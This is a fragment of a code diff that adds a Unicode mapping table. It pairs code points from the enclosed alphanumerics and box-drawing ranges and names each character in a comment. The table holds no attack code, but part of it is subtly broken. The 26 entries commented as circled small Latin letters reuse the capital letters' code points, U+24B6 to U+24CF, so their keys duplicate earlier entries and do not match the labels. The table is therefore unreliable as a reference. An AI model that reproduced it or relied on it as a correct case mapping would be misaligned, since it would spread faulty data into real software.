+ ["\u2490", "\u2490"], /* DIGIT NINE FULL STOP (DIGIT NINE PERIOD) */
+ ["\u2491", "\u2491"], /* NUMBER TEN FULL STOP (NUMBER TEN PERIOD) */
+ ["\u2492", "\u2492"], /* NUMBER ELEVEN FULL STOP (NUMBER ELEVEN PERIOD) */
+ ["\u2493", "\u2493"], /* NUMBER TWELVE FULL STOP (NUMBER TWELVE PERIOD) */
+ ["\u2494", "\u2494"], /* NUMBER THIRTEEN FULL STOP (NUMBER THIRTEEN PERIOD) */
+ ["\u2495", "\u2495"], /* NUMBER FOURTEEN FULL STOP (NUMBER FOURTEEN PERIOD) */
+ ["\u2496", "\u2496"], /* NUMBER FIFTEEN FULL STOP (NUMBER FIFTEEN PERIOD) */
+ ["\u2497", "\u2497"], /* NUMBER SIXTEEN FULL STOP (NUMBER SIXTEEN PERIOD) */
+ ["\u2498", "\u2498"], /* NUMBER SEVENTEEN FULL STOP (NUMBER SEVENTEEN PERIOD) */
+ ["\u2499", "\u2499"], /* NUMBER EIGHTEEN FULL STOP (NUMBER EIGHTEEN PERIOD) */
+ ["\u249A", "\u249A"], /* NUMBER NINETEEN FULL STOP (NUMBER NINETEEN PERIOD) */
+ ["\u249B", "\u249B"], /* NUMBER TWENTY FULL STOP (NUMBER TWENTY PERIOD) */
+ ["\u249C", "\u249C"], /* PARENTHESIZED LATIN SMALL LETTER A */
+ ["\u249D", "\u249D"], /* PARENTHESIZED LATIN SMALL LETTER B */
+ ["\u249E", "\u249E"], /* PARENTHESIZED LATIN SMALL LETTER C */
+ ["\u249F", "\u249F"], /* PARENTHESIZED LATIN SMALL LETTER D */
+ ["\u24A0", "\u24A0"], /* PARENTHESIZED LATIN SMALL LETTER E */
+ ["\u24A1", "\u24A1"], /* PARENTHESIZED LATIN SMALL LETTER F */
+ ["\u24A2", "\u24A2"], /* PARENTHESIZED LATIN SMALL LETTER G */
+ ["\u24A3", "\u24A3"], /* PARENTHESIZED LATIN SMALL LETTER H */
+ ["\u24A4", "\u24A4"], /* PARENTHESIZED LATIN SMALL LETTER I */
+ ["\u24A5", "\u24A5"], /* PARENTHESIZED LATIN SMALL LETTER J */
+ ["\u24A6", "\u24A6"], /* PARENTHESIZED LATIN SMALL LETTER K */
+ ["\u24A7", "\u24A7"], /* PARENTHESIZED LATIN SMALL LETTER L */
+ ["\u24A8", "\u24A8"], /* PARENTHESIZED LATIN SMALL LETTER M */
+ ["\u24A9", "\u24A9"], /* PARENTHESIZED LATIN SMALL LETTER N */
+ ["\u24AA", "\u24AA"], /* PARENTHESIZED LATIN SMALL LETTER O */
+ ["\u24AB", "\u24AB"], /* PARENTHESIZED LATIN SMALL LETTER P */
+ ["\u24AC", "\u24AC"], /* PARENTHESIZED LATIN SMALL LETTER Q */
+ ["\u24AD", "\u24AD"], /* PARENTHESIZED LATIN SMALL LETTER R */
+ ["\u24AE", "\u24AE"], /* PARENTHESIZED LATIN SMALL LETTER S */
+ ["\u24AF", "\u24AF"], /* PARENTHESIZED LATIN SMALL LETTER T */
+ ["\u24B0", "\u24B0"], /* PARENTHESIZED LATIN SMALL LETTER U */
+ ["\u24B1", "\u24B1"], /* PARENTHESIZED LATIN SMALL LETTER V */
+ ["\u24B2", "\u24B2"], /* PARENTHESIZED LATIN SMALL LETTER W */
+ ["\u24B3", "\u24B3"], /* PARENTHESIZED LATIN SMALL LETTER X */
+ ["\u24B4", "\u24B4"], /* PARENTHESIZED LATIN SMALL LETTER Y */
+ ["\u24B5", "\u24B5"], /* PARENTHESIZED LATIN SMALL LETTER Z */
+ ["\u24B6", "\u24D0"], /* CIRCLED LATIN CAPITAL LETTER A */
+ ["\u24B7", "\u24D1"], /* CIRCLED LATIN CAPITAL LETTER B */
+ ["\u24B8", "\u24D2"], /* CIRCLED LATIN CAPITAL LETTER C */
+ ["\u24B9", "\u24D3"], /* CIRCLED LATIN CAPITAL LETTER D */
+ ["\u24BA", "\u24D4"], /* CIRCLED LATIN CAPITAL LETTER E */
+ ["\u24BB", "\u24D5"], /* CIRCLED LATIN CAPITAL LETTER F */
+ ["\u24BC", "\u24D6"], /* CIRCLED LATIN CAPITAL LETTER G */
+ ["\u24BD", "\u24D7"], /* CIRCLED LATIN CAPITAL LETTER H */
+ ["\u24BE", "\u24D8"], /* CIRCLED LATIN CAPITAL LETTER I */
+ ["\u24BF", "\u24D9"], /* CIRCLED LATIN CAPITAL LETTER J */
+ ["\u24C0", "\u24DA"], /* CIRCLED LATIN CAPITAL LETTER K */
+ ["\u24C1", "\u24DB"], /* CIRCLED LATIN CAPITAL LETTER L */
+ ["\u24C2", "\u24DC"], /* CIRCLED LATIN CAPITAL LETTER M */
+ ["\u24C3", "\u24DD"], /* CIRCLED LATIN CAPITAL LETTER N */
+ ["\u24C4", "\u24DE"], /* CIRCLED LATIN CAPITAL LETTER O */
+ ["\u24C5", "\u24DF"], /* CIRCLED LATIN CAPITAL LETTER P */
+ ["\u24C6", "\u24E0"], /* CIRCLED LATIN CAPITAL LETTER Q */
+ ["\u24C7", "\u24E1"], /* CIRCLED LATIN CAPITAL LETTER R */
+ ["\u24C8", "\u24E2"], /* CIRCLED LATIN CAPITAL LETTER S */
+ ["\u24C9", "\u24E3"], /* CIRCLED LATIN CAPITAL LETTER T */
+ ["\u24CA", "\u24E4"], /* CIRCLED LATIN CAPITAL LETTER U */
+ ["\u24CB", "\u24E5"], /* CIRCLED LATIN CAPITAL LETTER V */
+ ["\u24CC", "\u24E6"], /* CIRCLED LATIN CAPITAL LETTER W */
+ ["\u24CD", "\u24E7"], /* CIRCLED LATIN CAPITAL LETTER X */
+ ["\u24CE", "\u24E8"], /* CIRCLED LATIN CAPITAL LETTER Y */
+ ["\u24CF", "\u24E9"], /* CIRCLED LATIN CAPITAL LETTER Z */
+ ["\u24B6", "\u24D0"], /* CIRCLED LATIN SMALL LETTER A */
+ ["\u24B7", "\u24D1"], /* CIRCLED LATIN SMALL LETTER B */
+ ["\u24B8", "\u24D2"], /* CIRCLED LATIN SMALL LETTER C */
+ ["\u24B9", "\u24D3"], /* CIRCLED LATIN SMALL LETTER D */
+ ["\u24BA", "\u24D4"], /* CIRCLED LATIN SMALL LETTER E */
+ ["\u24BB", "\u24D5"], /* CIRCLED LATIN SMALL LETTER F */
+ ["\u24BC", "\u24D6"], /* CIRCLED LATIN SMALL LETTER G */
+ ["\u24BD", "\u24D7"], /* CIRCLED LATIN SMALL LETTER H */
+ ["\u24BE", "\u24D8"], /* CIRCLED LATIN SMALL LETTER I */
+ ["\u24BF", "\u24D9"], /* CIRCLED LATIN SMALL LETTER J */
+ ["\u24C0", "\u24DA"], /* CIRCLED LATIN SMALL LETTER K */
+ ["\u24C1", "\u24DB"], /* CIRCLED LATIN SMALL LETTER L */
+ ["\u24C2", "\u24DC"], /* CIRCLED LATIN SMALL LETTER M */
+ ["\u24C3", "\u24DD"], /* CIRCLED LATIN SMALL LETTER N */
+ ["\u24C4", "\u24DE"], /* CIRCLED LATIN SMALL LETTER O */
+ ["\u24C5", "\u24DF"], /* CIRCLED LATIN SMALL LETTER P */
+ ["\u24C6", "\u24E0"], /* CIRCLED LATIN SMALL LETTER Q */
+ ["\u24C7", "\u24E1"], /* CIRCLED LATIN SMALL LETTER R */
+ ["\u24C8", "\u24E2"], /* CIRCLED LATIN SMALL LETTER S */
+ ["\u24C9", "\u24E3"], /* CIRCLED LATIN SMALL LETTER T */
+ ["\u24CA", "\u24E4"], /* CIRCLED LATIN SMALL LETTER U */
+ ["\u24CB", "\u24E5"], /* CIRCLED LATIN SMALL LETTER V */
+ ["\u24CC", "\u24E6"], /* CIRCLED LATIN SMALL LETTER W */
+ ["\u24CD", "\u24E7"], /* CIRCLED LATIN SMALL LETTER X */
+ ["\u24CE", "\u24E8"], /* CIRCLED LATIN SMALL LETTER Y */
+ ["\u24CF", "\u24E9"], /* CIRCLED LATIN SMALL LETTER Z */
+ ["\u24EA", "\u24EA"], /* CIRCLED DIGIT ZERO */
+ ["\u24EB", "\u24EB"], /* NEGATIVE CIRCLED NUMBER ELEVEN */
+ ["\u24EC", "\u24EC"], /* NEGATIVE CIRCLED NUMBER TWELVE */
+ ["\u24ED", "\u24ED"], /* NEGATIVE CIRCLED NUMBER THIRTEEN */
+ ["\u24EE", "\u24EE"], /* NEGATIVE CIRCLED NUMBER FOURTEEN */
+ ["\u24EF", "\u24EF"], /* NEGATIVE CIRCLED NUMBER FIFTEEN */
+ ["\u24F0", "\u24F0"], /* NEGATIVE CIRCLED NUMBER SIXTEEN */
+ ["\u24F1", "\u24F1"], /* NEGATIVE CIRCLED NUMBER SEVENTEEN */
+ ["\u24F2", "\u24F2"], /* NEGATIVE CIRCLED NUMBER EIGHTEEN */
+ ["\u24F3", "\u24F3"], /* NEGATIVE CIRCLED NUMBER NINETEEN */
+ ["\u24F4", "\u24F4"], /* NEGATIVE CIRCLED NUMBER TWENTY */
+ ["\u24F5", "\u24F5"], /* DOUBLE CIRCLED DIGIT ONE */
+ ["\u24F6", "\u24F6"], /* DOUBLE CIRCLED DIGIT TWO */
+ ["\u24F7", "\u24F7"], /* DOUBLE CIRCLED DIGIT THREE */
+ ["\u24F8", "\u24F8"], /* DOUBLE CIRCLED DIGIT FOUR */
+ ["\u24F9", "\u24F9"], /* DOUBLE CIRCLED DIGIT FIVE */
+ ["\u24FA", "\u24FA"], /* DOUBLE CIRCLED DIGIT SIX */
+ ["\u24FB", "\u24FB"], /* DOUBLE CIRCLED DIGIT SEVEN */
+ ["\u24FC", "\u24FC"], /* DOUBLE CIRCLED DIGIT EIGHT */
+ ["\u24FD", "\u24FD"], /* DOUBLE CIRCLED DIGIT NINE */
+ ["\u24FE", "\u24FE"], /* DOUBLE CIRCLED NUMBER TEN */
+ ["\u24FF", "\u24FF"], /* NEGATIVE CIRCLED DIGIT ZERO */
+ ["\u2500", "\u2500"], /* BOX DRAWINGS LIGHT HORIZONTAL (FORMS LIGHT HORIZONTAL) */
+ ["\u2501", "\u2501"], /* BOX DRAWINGS HEAVY HORIZONTAL (FORMS HEAVY HORIZONTAL) */
+ ["\u2502", "\u2502"], /* BOX DRAWINGS LIGHT VERTICAL (FORMS LIGHT VERTICAL) */
+ ["\u2503", "\u2503"], /* BOX DRAWINGS HEAVY VERTICAL (FORMS HEAVY VERTICAL) */
+ ["\u2504", "\u2504"], /* BOX DRAWINGS LIGHT TRIPLE DASH HORIZONTAL (FORMS LIGHT TRIPLE DASH HORIZONTAL) */
+ ["\u2505", "\u2505"], /* BOX DRAWINGS HEAVY TRIPLE DASH HORIZONTAL (FORMS HEAVY TRIPLE DASH HORIZONTAL) */
+ ["\u2506", "\u2506"], /* BOX DRAWINGS LIGHT TRIPLE DASH VERTICAL (FORMS LIGHT TRIPLE DASH VERTICAL) */
+ ["\u2507", "\u2507"], /* BOX DRAWINGS HEAVY TRIPLE DASH VERTICAL (FORMS HEAVY TRIPLE DASH VERTICAL) */
+ ["\u2508", "\u2508"], /* BOX DRAWINGS LIGHT QUADRUPLE DASH HORIZONTAL (FORMS LIGHT QUADRUPLE DASH HORIZONTAL) */
+ ["\u2509", "\u2509"], /* BOX DRAWINGS HEAVY QUADRUPLE DASH HORIZONTAL (FORMS HEAVY QUADRUPLE DASH HORIZONTAL) */
+ ["\u250A", "\u250A"], /* BOX DRAWINGS LIGHT QUADRUPLE DASH VERTICAL (FORMS LIGHT QUADRUPLE DASH VERTICAL) */
+ ["\u250B", "\u250B"], /* BOX DRAWINGS HEAVY QUADRUPLE DASH VERTICAL (FORMS HEAVY QUADRUPLE DASH VERTICAL) */
+ ["\u250C", "\u250C"], /* BOX DRAWINGS LIGHT DOWN AND RIGHT (FORMS LIGHT DOWN AND RIGHT) */
+ ["\u250D", "\u250D"], /* BOX DRAWINGS DOWN LIGHT AND RIGHT HEAVY (FORMS DOWN LIGHT AND RIGHT HEAVY) */
+ ["\u250E", "\u250E"], /* BOX DRAWINGS DOWN HEAVY AND RIGHT LIGHT (FORMS DOWN HEAVY AND RIGHT LIGHT) */
+ ["\u250F", "\u250F"], /* BOX DRAWINGS HEAVY DOWN AND RIGHT (FORMS HEAVY DOWN AND RIGHT) */
+ ["\u2510", "\u2510"], /* BOX DRAWINGS LIGHT DOWN AND LEFT (FORMS LIGHT DOWN AND LEFT) */
+ ["\u2511", "\u2511"], /* BOX DRAWINGS DOWN LIGHT AND LEFT HEAVY (FORMS DOWN LIGHT AND LEFT HEAVY) */
+ ["\u2512", "\u2512"], /* BOX DRAWINGS DOWN HEAVY AND LEFT LIGHT (FORMS DOWN HEAVY AND LEFT LIGHT) */
+ ["\u2513", "\u2513"], /* BOX DRAWINGS HEAVY DOWN AND LEFT (FORMS HEAVY DOWN AND LEFT) */
+ ["\u2514", "\u2514"], /* BOX DRAWINGS LIGHT UP AND RIGHT (FORMS LIGHT UP AND RIGHT) */
+ ["\u2515", "\u2515"], /* BOX DRAWINGS UP LIGHT AND RIGHT HEAVY (FORMS UP LIGHT AND RIGHT HEAVY) */
+ ["\u2516", "\u2516"], /* BOX DRAWINGS UP HEAVY AND RIGHT LIGHT (FORMS UP HEAVY AND RIGHT LIGHT) */
+ ["\u2517", "\u2517"], /* BOX DRAWINGS HEAVY UP AND RIGHT (FORMS HEAVY UP AND RIGHT) */
+ ["\u2518", "\u2518"], /* BOX DRAWINGS LIGHT UP AND LEFT (FORMS LIGHT UP AND LEFT) */
+ ["\u2519", "\u2519"], /* BOX DRAWINGS UP LIGHT AND LEFT HEAVY (FORMS UP LIGHT AND LEFT HEAVY) */
+ ["\u251A", "\u251A"], /* BOX DRAWINGS UP HEAVY AND LEFT LIGHT (FORMS UP HEAVY AND LEFT LIGHT) */
+ ["\u251B", "\u251B"], /* BOX DRAWINGS HEAVY UP AND LEFT (FORMS HEAVY UP AND LEFT) */
+ ["\u251C", "\u251C"], /* BOX DRAWINGS LIGHT VERTICAL AND RIGHT (FORMS LIGHT VERTICAL AND RIGHT) */
+ ["\u251D", "\u251D"], /* BOX DRAWINGS VERTICAL LIGHT AND RIGHT HEAVY (FORMS VERTICAL LIGHT AND RIGHT HEAVY) */
+ ["\u251E", "\u251E"], /* BOX DRAWINGS UP HEAVY AND RIGHT DOWN LIGHT (FORMS UP HEAVY AND RIGHT DOWN LIGHT) */
+ ["\u251F", "\u251F"], /* BOX DRAWINGS DOWN HEAVY AND RIGHT UP LIGHT (FORMS DOWN HEAVY AND RIGHT UP LIGHT) */
+ ["\u2520", "\u2520"], /* BOX DRAWINGS VERTICAL HEAVY AND RIGHT LIGHT (FORMS VERTICAL HEAVY AND RIGHT LIGHT) */
+ ["\u2521", "\u2521"], /* BOX DRAWINGS DOWN LIGHT AND RIGHT UP HEAVY (FORMS DOWN LIGHT AND RIGHT UP HEAVY) */
+ ["\u2522", "\u2522"], /* BOX DRAWINGS UP LIGHT AND RIGHT DOWN HEAVY (FORMS UP LIGHT AND RIGHT DOWN HEAVY) */
+ ["\u2523", "\u2523"], /* BOX DRAWINGS HEAVY VERTICAL AND RIGHT (FORMS HEAVY VERTICAL AND RIGHT) */
+ ["\u2524", "\u2524"], /* BOX DRAWINGS LIGHT VERTICAL AND LEFT (FORMS LIGHT VERTICAL AND LEFT) */
+ ["\u2525", "\u2525"], /* BOX DRAWINGS VERTICAL LIGHT AND LEFT HEAVY (FORMS VERTICAL LIGHT AND LEFT HEAVY) */
+ ["\u2526", "\u2526"], /* BOX DRAWINGS UP HEAVY AND LEFT DOWN LIGHT (FORMS UP HEAVY AND LEFT DOWN LIGHT) */
+ ["\u2527", "\u2527"], /* BOX DRAWINGS DOWN HEAVY AND LEFT UP LIGHT (FORMS DOWN HEAVY AND LEFT UP LIGHT) */
+ ["\u2528", "\u2528"], /* BOX DRAWINGS VERTICAL HEAVY AND LEFT LIGHT (FORMS VERTICAL HEAVY AND LEFT LIGHT) */
+ ["\u2529", "\u2529"], /* BOX DRAWINGS DOWN LIGHT AND LEFT UP HEAVY (FORMS DOWN LIGHT AND LEFT UP HEAVY) */
+ ["\u252A", "\u252A"], /* BOX DRAWINGS UP LIGHT AND LEFT DOWN HEAVY (FORMS UP LIGHT AND LEFT DOWN HEAVY) */
+ ["\u252B", "\u252B"], /* BOX DRAWINGS HEAVY VERTICAL AND LEFT (FORMS HEAVY VERTICAL AND LEFT) */
+ ["\u252C", "\u252C"], /* BOX DRAWINGS LIGHT DOWN AND HORIZONTAL (FORMS LIGHT DOWN AND HORIZONTAL) */
+ ["\u252D", "\u252D"], /* BOX DRAWINGS LEFT HEAVY AND RIGHT DOWN LIGHT (FORMS LEFT HEAVY AND RIGHT DOWN LIGHT) */
+ ["\u252E", "\u252E"], /* BOX DRAWINGS RIGHT HEAVY AND LEFT DOWN LIGHT (FORMS RIGHT HEAVY AND LEFT DOWN LIGHT) */
+ ["\u252F", "\u252F"], /* BOX DRAWINGS DOWN LIGHT AND HORIZONTAL HEAVY (FORMS DOWN LIGHT AND HORIZONTAL HEAVY) */
+ ["\u2530", "\u2530"], /* BOX DRAWINGS DOWN HEAVY AND HORIZONTAL LIGHT (FORMS DOWN HEAVY AND HORIZONTAL LIGHT) */
+ ["\u2531", "\u2531"], /* BOX DRAWINGS RIGHT LIGHT AND LEFT DOWN HEAVY (FORMS RIGHT LIGHT AND LEFT DOWN HEAVY) */
+ ["\u2532", "\u2532"], /* BOX DRAWINGS LEFT LIGHT AND RIGHT DOWN HEAVY (FORMS LEFT LIGHT AND RIGHT DOWN HEAVY) */
+ ["\u2533", "\u2533"], /* BOX DRAWINGS HEAVY DOWN AND HORIZONTAL (FORMS HEAVY DOWN AND HORIZONTAL) */
+ ["\u2534", "\u2534"], /* BOX DRAWINGS LIGHT UP AND HORIZONTAL (FORMS LIGHT UP AND HORIZONTAL) */
+ ["\u2535", "\u2535"], /* BOX DRAWINGS LEFT HEAVY AND RIGHT UP LIGHT (FORMS LEFT HEAVY AND RIGHT UP LIGHT) */
+ ["\u2536", "\u2536"], /* BOX DRAWINGS RIGHT HEAVY AND LEFT UP LIGHT (FORMS RIGHT HEAVY AND LEFT UP LIGHT) */
+ ["\u2537", "\u2537"], /* BOX DRAWINGS UP LIGHT AND HORIZONTAL HEAVY (FORMS UP LIGHT AND HORIZONTAL HEAVY) */
+ ["\u2538", "\u2538"], /* BOX DRAWINGS UP HEAVY AND HORIZONTAL LIGHT (FORMS UP HEAVY AND HORIZONTAL LIGHT) */
+ ["\u2539", "\u2539"], /* BOX DRAWINGS RIGHT LIGHT AND LEFT UP HEAVY (FORMS RIGHT LIGHT AND LEFT UP HEAVY) */
+ ["\u253A", "\u253A"], /* BOX DRAWINGS LEFT LIGHT AND RIGHT UP HEAVY (FORMS LEFT LIGHT AND RIGHT UP HEAVY) */
+ ["\u253B", "\u253B"], /* BOX DRAWINGS HEAVY UP AND HORIZONTAL (FORMS HEAVY UP AND HORIZONTAL) */
+ ["\u253C", "\u253C"], /* BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL (FORMS LIGHT VERTICAL AND HORIZONTAL) */
+ ["\u253D", "\u253D"], /* BOX DRAWINGS LEFT HEAVY AND RIGHT VERTICAL LIGHT (FORMS LEFT HEAVY AND RIGHT VERTICAL LIGHT) */
+ ["\u253E", "\u253E"], /* BOX DRAWINGS RIGHT HEAVY AND LEFT VERTICAL LIGHT (FORMS RIGHT HEAVY AND LEFT VERTICAL LIGHT) */
+ ["\u253F", "\u253F"], /* BOX DRAWINGS VERTICAL LIGHT AND HORIZONTAL HEAVY (FORMS VERTICAL LIGHT AND HORIZONTAL HEAVY) */
+ ["\u2540", "\u2540"], /* BOX DRAWINGS UP HEAVY AND DOWN HORIZONTAL LIGHT (FORMS UP HEAVY AND DOWN HORIZONTAL LIGHT) */
+ ["\u2541", "\u2541"], /* BOX DRAWINGS DOWN HEAVY AND UP HORIZONTAL LIGHT (FORMS DOWN HEAVY AND UP HORIZONTAL LIGHT) */
+ ["\u2542", "\u2542"], /* BOX DRAWINGS VERTICAL HEAVY AND HORIZONTAL LIGHT (FORMS VERTICAL HEAVY AND HORIZONTAL LIGHT) */
+ ["\u2543", "\u2543"], /* BOX DRAWINGS LEFT UP HEAVY AND RIGHT DOWN LIGHT (FORMS LEFT UP HEAVY AND RIGHT DOWN LIGHT) */
+ ["\u2544", "\u2544"], /* BOX DRAWINGS RIGHT UP HEAVY AND LEFT DOWN LIGHT (FORMS RIGHT UP HEAVY AND LEFT DOWN LIGHT) */
+ ["\u2545", "\u2545"], /* BOX DRAWINGS LEFT DOWN HEAVY AND RIGHT UP LIGHT (FORMS LEFT DOWN HEAVY AND RIGHT UP LIGHT) */
+ ["\u2546", "\u2546"], /* BOX DRAWINGS RIGHT DOWN HEAVY AND LEFT UP LIGHT (FORMS RIGHT DOWN HEAVY AND LEFT UP LIGHT) */
+ ["\u2547", "\u2547"], /* BOX DRAWINGS DOWN LIGHT AND UP HORIZONTAL HEAVY (FORMS DOWN LIGHT AND UP HORIZONTAL HEAVY) */
+ ["\u2548", "\u2548"], /* BOX DRAWINGS UP LIGHT AND DOWN HORIZONTAL HEAVY (FORMS UP LIGHT AND DOWN HORIZONTAL HEAVY) */
+ ["\u2549", "\u2549"], /* BOX DRAWINGS RIGHT LIGHT AND LEFT VERTICAL HEAVY (FORMS RIGHT LIGHT AND LEFT VERTICAL HEAVY) */
+ ["\u254A", "\u254A"], /* BOX DRAWINGS LEFT LIGHT AND RIGHT VERTICAL HEAVY (FORMS LEFT LIGHT AND RIGHT VERTICAL HEAVY) */
+ ["\u254B", "\u254B"], /* BOX DRAWINGS HEAVY VERTICAL AND HORIZONTAL (FORMS HEAVY VERTICAL AND HORIZONTAL) */
+ ["\u254C", "\u254C"], /* BOX DRAWINGS LIGHT DOUBLE DASH HORIZONTAL (FORMS LIGHT DOUBLE DASH HORIZONTAL) */
+ ["\u254D", "\u254D"], /* BOX DRAWINGS HEAVY DOUBLE DASH HORIZONTAL (FORMS HEAVY DOUBLE DASH HORIZONTAL) */
+ ["\u254E", "\u254E"], /* BOX DRAWINGS LIGHT DOUBLE DASH VERTICAL (FORMS LIGHT DOUBLE DASH VERTICAL) */
+ ["\u254F", "\u254F"], /* BOX DRAWINGS HEAVY DOUBLE DASH VERTICAL (FORMS HEAVY DOUBLE DASH VERTICAL) */
+ ["\u2550", "\u2550"], /* BOX DRAWINGS DOUBLE HORIZONTAL (FORMS DOUBLE HORIZONTAL) */
+ ["\u2551", "\u2551"], /* BOX DRAWINGS DOUBLE VERTICAL (FORMS DOUBLE VERTICAL) */
+ ["\u2552", "\u2552"], /* BOX DRAWINGS DOWN SINGLE AND RIGHT DOUBLE (FORMS DOWN SINGLE AND RIGHT DOUBLE) */
+ ["\u2553", "\u2553"], /* BOX DRAWINGS DOWN DOUBLE AND RIGHT SINGLE (FORMS DOWN DOUBLE AND RIGHT SINGLE) */
+ ["\u2554", "\u2554"], /* BOX DRAWINGS DOUBLE DOWN AND RIGHT (FORMS DOUBLE DOWN AND RIGHT) */
+ ["\u2555", "\u2555"], /* BOX DRAWINGS DOWN SINGLE AND LEFT DOUBLE (FORMS DOWN SINGLE AND LEFT DOUBLE) */
+ ["\u2556", "\u2556"], /* BOX DRAWINGS DOWN DOUBLE AND LEFT SINGLE (FORMS DOWN DOUBLE AND LEFT SINGLE) */
+ ["\u2557", "\u2557"], /* BOX DRAWINGS DOUBLE DOWN AND LEFT (FORMS DOUBLE DOWN AND LEFT) */
+ ["\u2558", "\u2558"], /* BOX DRAWINGS UP SINGLE AND RIGHT DOUBLE (FORMS UP SINGLE AND RIGHT DOUBLE) */
+ ["\u2559", "\u2559"], /* BOX DRAWINGS UP DOUBLE AND RIGHT SINGLE (FORMS UP DOUBLE AND RIGHT SINGLE) */
+ ["\u255A", "\u255A"], /* BOX DRAWINGS DOUBLE UP AND RIGHT (FORMS DOUBLE UP AND RIGHT) */
+ ["\u255B", "\u255B"], /* BOX DRAWINGS UP SINGLE AND LEFT DOUBLE (FORMS UP SINGLE AND LEFT DOUBLE) */
+ ["\u255C", "\u255C"], /* BOX DRAWINGS UP DOUBLE AND LEFT SINGLE (FORMS UP DOUBLE AND LEFT SINGLE) */
+ ["\u255D", "\u255D"], /* BOX DRAWINGS DOUBLE UP AND LEFT (FORMS DOUBLE UP AND LEFT) */
+ ["\u255E", "\u255E"], /* BOX DRAWINGS VERTICAL SINGLE AND RIGHT DOUBLE (FORMS VERTICAL SINGLE AND RIGHT DOUBLE) */
+ ["\u255F", "\u255F"], /* BOX DRAWINGS VERTICAL DOUBLE AND RIGHT SINGLE (FORMS VERTICAL DOUBLE AND RIGHT SINGLE) */
+ ["\u2560", "\u2560"], /* BOX DRAWINGS DOUBLE VERTICAL AND RIGHT (FORMS DOUBLE VERTICAL AND RIGHT) */
+ ["\u2561", "\u2561"], /* BOX DRAWINGS VERTICAL SINGLE AND LEFT DOUBLE (FORMS VERTICAL SINGLE AND LEFT DOUBLE) */
+ ["\u2562", "\u2562"], /* BOX DRAWINGS VERTICAL DOUBLE AND LEFT SINGLE (FORMS VERTICAL DOUBLE AND LEFT SINGLE) */
+ ["\u2563", "\u2563"], /* BOX DRAWINGS DOUBLE VERTICAL AND LEFT (FORMS DOUBLE VERTICAL AND LEFT) */
+ ["\u2564", "\u2564"], /* BOX DRAWINGS DOWN SINGLE AND HORIZONTAL DOUBLE (FORMS DOWN SINGLE AND HORIZONTAL DOUBLE) */
+ ["\u2565", "\u2565"], /* BOX DRAWINGS DOWN DOUBLE AND HORIZONTAL SINGLE (FORMS DOWN DOUBLE AND HORIZONTAL SINGLE) */
+ ["\u2566", "\u2566"], /* BOX DRAWINGS DOUBLE DOWN AND HORIZONTAL (FORMS DOUBLE DOWN AND HORIZONTAL) */
+ ["\u2567", "\u2567"], /* BOX DRAWINGS UP SINGLE AND HORIZONTAL DOUBLE (FORMS UP SINGLE AND HORIZONTAL DOUBLE) */
+ ["\u2568", "\u2568"], /* BOX DRAWINGS UP DOUBLE AND HORIZONTAL SINGLE (FORMS UP DOUBLE AND HORIZONTAL SINGLE) */
+ ["\u2569", "\u2569"], /* BOX DRAWINGS DOUBLE UP AND HORIZONTAL (FORMS DOUBLE UP AND HORIZONTAL) */
+ ["\u256A", "\u256A"], /* BOX DRAWINGS VERTICAL SINGLE AND HORIZONTAL DOUBLE (FORMS VERTICAL SINGLE AND HORIZONTAL DOUBLE) */
+ ["\u256B", "\u256B"], /* BOX DRAWINGS VERTICAL DOUBLE AND HORIZONTAL SINGLE (FORMS VERTICAL DOUBLE AND HORIZONTAL SINGLE) */
+ ["\u256C", "\u256C"], /* BOX DRAWINGS DOUBLE VERTICAL AND HORIZONTAL (FORMS DOUBLE VERTICAL AND HORIZONTAL) */
+ ["\u256D", "\u256D"], /* BOX DRAWINGS LIGHT ARC DOWN AND RIGHT (FORMS LIGHT ARC DOWN AND RIGHT) */
+ ["\u256E", "\u256E"], /* BOX DRAWINGS LIGHT ARC DOWN AND LEFT (FORMS LIGHT ARC DOWN AND LEFT) */
+ ["\u256F", "\u256F"], /* BOX DRAWINGS LIGHT ARC UP AND LEFT (FORMS LIGHT ARC UP AND LEFT) */
+ ["\u2570", "\u2570"], /* BOX DRAWINGS LIGHT ARC UP AND RIGHT (FORMS LIGHT ARC UP AND RIGHT) */
+ ["\u2571", "\u2571"], /* BOX DRAWINGS LIGHT DIAGONAL UPPER RIGHT TO LOWER LEFT (FORMS LIGHT DIAGONAL UPPER RIGHT TO LOWER LEFT) */
+ ["\u2572", "\u2572"], /* BOX DRAWINGS LIGHT DIAGONAL UPPER LEFT TO LOWER RIGHT (FORMS LIGHT DIAGONAL UPPER LEFT TO LOWER RIGHT) */
+ ["\u2573", "\u2573"], /* BOX DRAWINGS LIGHT DIAGONAL CROSS (FORMS LIGHT DIAGONAL CROSS) */
+ ["\u2574", "\u2574"], /* BOX DRAWINGS LIGHT LEFT (FORMS LIGHT LEFT) */
+ ["\u2575", "\u2575"], /* BOX DRAWINGS LIGHT UP (FORMS LIGHT UP) */
+ ["\u2576", "\u2576"], /* BOX DRAWINGS LIGHT RIGHT (FORMS LIGHT RIGHT) */
+ ["\u2577", "\u2577"], /* BOX DRAWINGS LIGHT DOWN (FORMS LIGHT DOWN) */
+ ["\u2578", "\u2578"], /* BOX DRAWINGS HEAVY LEFT (FORMS HEAVY LEFT) */
+ ["\u2579", "\u2579"], /* BOX DRAWINGS HEAVY UP (FORMS HEAVY UP) */
+ ["\u257A", "\u257A"], /* BOX DRAWINGS HEAVY RIGHT (FORMS HEAVY RIGHT) */
+ ["\u257B", "\u257B"], /* BOX DRAWINGS HEAVY DOWN (FORMS HEAVY DOWN) */
+ ["\u257C", "\u257C"], /* BOX DRAWINGS LIGHT LEFT AND HEAVY RIGHT (FORMS LIGHT LEFT AND HEAVY RIGHT) */
+ ["\u257D", "\u257D"], /* BOX DRAWINGS LIGHT UP AND HEAVY DOWN (FORMS LIGHT UP AND HEAVY DOWN) */
+ ["\u257E", "\u257E"], /* BOX DRAWINGS HEAVY LEFT AND LIGHT RIGHT (FORMS HEAVY LEFT AND LIGHT RIGHT) */
+ ["\u257F", "\u257F"], /* BOX DRAWINGS HEAVY UP AND LIGHT DOWN (FORMS HEAVY UP AND LIGHT DOWN) */
+ ["\u2580", "\u2580"], /* UPPER HALF BLOCK */
+ ["\u2581", "\u2581"], /* LOWER ONE EIGHTH BLOCK */
+ ["\u2582", "\u2582"], /* LOWER ONE QUARTER BLOCK */
+ ["\u2583", "\u2583"], /* LOWER THREE EIGHTHS BLOCK */
+ ["\u2584", "\u2584"], /* LOWER HALF BLOCK */
+ ["\u2585", "\u2585"], /* LOWER FIVE EIGHTHS BLOCK */
